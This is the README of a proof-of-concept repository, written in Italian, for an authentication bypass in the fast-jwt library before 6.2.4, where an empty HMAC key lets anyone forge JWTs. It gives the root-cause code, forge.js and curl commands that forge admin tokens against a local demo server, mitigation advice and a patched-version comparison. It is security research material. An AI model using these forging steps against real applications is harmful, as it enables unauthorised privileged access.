Proof-of-concept per CVE-2026-44351, un bypass di autenticazione in fast-jwt <6.2.4 in cui una chiave HMAC vuota consente agli attaccanti di falsificare JWT arbitrari accettati come validi.
fast-jwtPoC del bypass di autenticazione (auth bypass) in fast-jwt (versioni precedenti alla
6.2.4) che consente a qualsiasi attaccante non autenticato di falsificare JWT arbitrari e che
vengano accettati come autentici dall'applicazione target.
| CVE | CVE-2026-44351 |
| Advisory | GHSA-gmvf-9v4p-v8jc |
| CWE | CWE-1391 (Validazione errata delle chiavi) / CWE-287 (Autenticazione errata) / CWE-326 (Forza di cifratura inadeguata) |
| CVSS 3.1 | 9.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Vulnerabile | fast-jwt < 6.2.4 (verificato contro 6.2.3) |
| Patch | [email protected] — rifiuta chiavi HMAC vuote con FAST_JWT_INVALID_KEY |
📄 Documentazione tecnica dettagliata (root cause con codice reale, anatomia dell'attacco, analisi della patch):
docs/CVE-2026-44351.md
fast-jwt consente di passare una funzione asincrona come risoluzione della chiave (key) — il
pattern tipico quando si integra con un server JWKS:
const verify = createVerifier({
// patron JWKS estandar documentado por la propia libreria
key: async (decoded) => jwks[decoded.header.kid] || '',
})
Quando il kid del token in ingresso non esiste, quel pattern restituisce ''. fast-jwt
converte la stringa vuota in un Buffer di lunghezza zero (Buffer.alloc(0)), lo consegna
a crypto.createSecretKey (Node lo accetta silenziosamente) e verifica la firma del token
usando HMAC con chiave vuota.
Poiché HMAC-SHA256(key='', input='<header>.<payload>') è calcolabile da chiunque, l'attaccante
non ha bisogno di conoscere il segreto reale: forgia un token con i claim che desidera
(sub, admin, roles, scopes, iss, aud, …) e il verificatore lo restituisce come
autentico.
Colpisce solo il percorso di risoluzione della chiave asincrona (funzione). La configurazione sincrona
key: ''viene rifiutata correttamente perchécreateVerifiercortocircuita sui valori falsy.
Il difetto risiede in src/verifier.js. Nel flusso dell'async key resolver:
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
// ...
if (typeof currentKey === 'string') {
currentKey = Buffer.from(currentKey, 'utf-8') // '' -> Buffer.alloc(0)
}
const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
// rama !publicKeyPemMatch && !X509 -> hsAlgorithms = ['HS256','HS384','HS512']
if (validationContext.allowedAlgorithms.length) {
checkAreCompatibleAlgorithms(...)
} else {
validationContext.allowedAlgorithms = availableAlgorithms // se asigna la familia HMAC
}
currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
// -> createSecretKey(Buffer.alloc(0)) (sin control de longitud)
verifyToken(currentKey, decoded, validationContext)
})
E la firma viene validata con src/crypto.js:
if (type === 'HS') {
try {
return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
} catch { return false }
}
crypto.createHmac('sha256', Buffer.alloc(0)) funziona, l'HMAC dell'input è calcolabile
dall'attaccante e il token forgiato viene accettato.
[email protected])| Resolver shape | algorithms | HS256 | HS384 | HS512 |
|---|---|---|---|---|
async () => '' | (default) | ✅ accetta | ✅ accetta | ✅ accetta |
(d, cb) => cb(null, '') | (default) | ✅ accetta | ✅ accetta | ✅ accetta |
async d => keys[d.header.kid] || '' | (default) | ✅ accetta | ✅ accetta | ✅ accetta |
async () => '' | ['HS256','HS384','HS512'] | ✅ accetta | ✅ accetta | ✅ accetta |
async () => '' | ['HS256','RS256'] | ✅ accetta | INVALID_ALG | INVALID_ALG |
async () => '' | ['RS256'] | INVALID_KEY | INVALID_KEY | INVALID_KEY |
L'attacco viene eseguito a mano: l'unico artefatto è forge.js, che fabbrica il JWT
firmato con chiave vuota. L'invio e la validazione si fanno con curl.
docker compose up -d --build server
curl -s http://localhost:3000/health # {'status':'ok'} -> target listo
Il Docker serve solo per eseguire il target vulnerabile, non per sfruttarlo. Il resto dell'attacco è manuale.
Identifica un JWT reale dell'app (ad esempio da una richiesta autenticata) e ispeziona il suo header/payload senza validare la firma:
node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...
# header : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }
Punti da validare:
kid → l'app risolve le chiavi tramite kid (possibile JWKS).kid rotto con 401 ma non presenta
invalid algo/invalid key, il resolver probabilmente fa keys[kid] || ''.node forge.js # token por pantalla + comando curl listo
node forge.js -o /tmp/jwt.txt # guarda el token en archivo
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin
Lo script firma sempre l'header {alg, typ, kid} e il payload scelti usando
HMAC-SHA* con chiave vuota (secret: ""), senza conoscere il segreto reale dell'app.
Con il token copiato (o letto dal file):
TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"
Risposta attesa se il target è vulnerabile:
HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}
| Caso | Comando | Risultato |
|---|---|---|
| Senza token | curl -si http://localhost:3000/admin | 401 Unauthorized |
| Token invalido | curl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C" | 401 Unauthorized |
| Token forgiato | curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN" | 200 OK + accesso admin |
Il bypass è riproducibile cambiando i claim e ripetendo i passi 2–3 (post-sfruttamento:
scalare a role, scopes, un altro sub, ecc.).
Confronto rapido tra la versione vulnerabile e quella corretta:
npm run demo # [email protected] -> token forjado ACEPTADO
npm run fixed # [email protected] -> token forjado RECHAZADO (FAST_JWT_INVALID_KEY)
Anche in Docker:
docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed
[email protected] o superiore: prepareKeyOrSecret rifiuta chiavi HMAC
di lunghezza zero con FAST_JWT_INVALID_KEY.''/Buffer.alloc(0) come fallback:
restituire undefined/null e trattare quel caso come errore di risoluzione della chiave.cache: false
durante la transizione: la cache di verifica (per default 1000 voci / 600s TTL)
può conservare token forgiati precedentemente accettati.Il server espone anche una console di amministrazione (public/) affinché lo
sfruttamento sia visibile su un'app reale: login aziendale, dashboard con claim, pannello di
accesso admin e una vista Red Team integrata.
node server.js # o de nuevo: docker compose up -d --build server
open http://localhost:3000
Account demo:
| Password | Ruolo | |
|---|---|---|
[email protected] | admin123 | admin: true (superadmin) |
[email protected] | user123 | admin: false (member) |
L'app replica un SaaS legittimo:
POST /login emette un JWT firmato con il segreto reale (kid: legit-kid) tramite
createSigner — il signer NON è vulnerabile.localStorage e colpisce GET /admin, che usa il
verifier vulnerabile.'' in JS puro, RFC 2104 — WebCrypto non accetta chiavi di lunghezza zero) o
incollare un token da node forge.js e provare /admin. Con admin: true risponde
200 OK → bypass confermato senza uscire dal browser.Il frontend è solo presentazione: la vulnerabilità rimane la stessa (async key resolver con
keys[kid] || '') e il flusso di attacco manuale conforge.js+curldel README continua a funzionare.
.
├── Dockerfile Imagen con fast-jwt 6.2.3 y 6.2.4 (fixed/)
├── docker-compose.yml Servicios server / demo / fixed-demo (sin exploit)
├── .dockerignore Excluye node_modules del build context
├── package.json Dependencias: [email protected] (vulnerable)
├── server.js API vulnerable (async key resolver con fallback || '') + /admin + /login + estáticos
├── forge.js UNICO script: fabrica el JWT con secret vacío / inspecciona tokens
├── demo.js Demo a nivel de librería contra [email protected] (vulnerable)
├── public/ Frontend "app real" (login, dashboard, admin, red team)
│ ├── index.html
│ ├── styles.css
│ └── app.js SPA + forja client-side (HMAC-SHA256 con key '' en JS puro)
├── docs/
│ └── CVE-2026-44351.md Documentación técnica: en qué consiste, root cause, parche
└── fixed/
├── package.json Dependencias: [email protected] (parcheada)
└── demo.js Misma demo contra [email protected] (parcheado)
Questo materiale è solo per scopi educativi e di ricerca sulla sicurezza. Usa l'exploit unicamente contro applicazioni proprie o con autorizzazione scritta del proprietario. L'uso non autorizzato di questa tecnica contro sistemi di terzi è illegale e il responsabile del suo uso è chi lo esegue.